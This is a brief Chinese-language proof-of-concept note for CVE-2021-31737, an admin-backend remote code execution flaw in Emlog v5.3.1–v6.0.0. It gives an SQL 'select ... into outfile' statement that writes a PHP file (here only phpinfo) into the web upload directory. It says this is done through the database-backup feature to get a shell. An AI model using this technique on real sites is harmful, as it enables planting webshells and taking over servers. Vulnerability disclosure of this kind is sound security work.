CVE-2021-31737 Emlog v5.3.1 – v6.0.0 后台RCE漏洞

POC

select "<?php phpinfo();?>" into outfile "/var/www/html/tet1/emlog_6.0.0/src/content/uploadfile/202104/222.php";

通过在后台数据-备份数据库进行构造恶意sql语句进行备份上传-getshell